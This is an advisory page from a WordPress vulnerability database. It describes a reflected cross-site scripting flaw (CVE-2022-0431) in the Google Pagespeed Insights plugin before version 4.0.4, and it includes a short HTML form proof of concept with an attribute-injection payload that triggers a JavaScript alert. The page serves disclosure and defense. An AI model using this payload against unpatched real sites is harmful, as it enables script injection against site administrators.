WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Google Pagespeed Insights < 4.0.4 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape various parameters before outputting them back in attributes in the plugin's settings dashboard, leading to Reflected Cross-Site Scripting

Proof of Concept

<html>
    <form action="https://example.com/wp-admin/tools.php?page=google-pagespeed-insights&render=options" method="POST">
        <input type="text" name="page" value='" style=animation-name:rotation onanimationstart=alert(/XSS/) x'>
        <input type="submit" value="Send">
    </form>
</html>
 

Affects Plugins

google-pagespeed-insights
Fixed in version 4.0.4

References

CVE
CVE-2022-0431
URL
https://plugins.trac.wordpress.org/changeset/2690415

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website
https://kazet.cc/
Verified

Yes

WPVDB ID
52bd94df-8816-48fd-8788-38d045eb57ca

Timeline

Publicly Published

2022-03-08 (about 10 months ago)

Added

2022-03-08 (about 10 months ago)

Last Updated

2022-04-12 (about 9 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us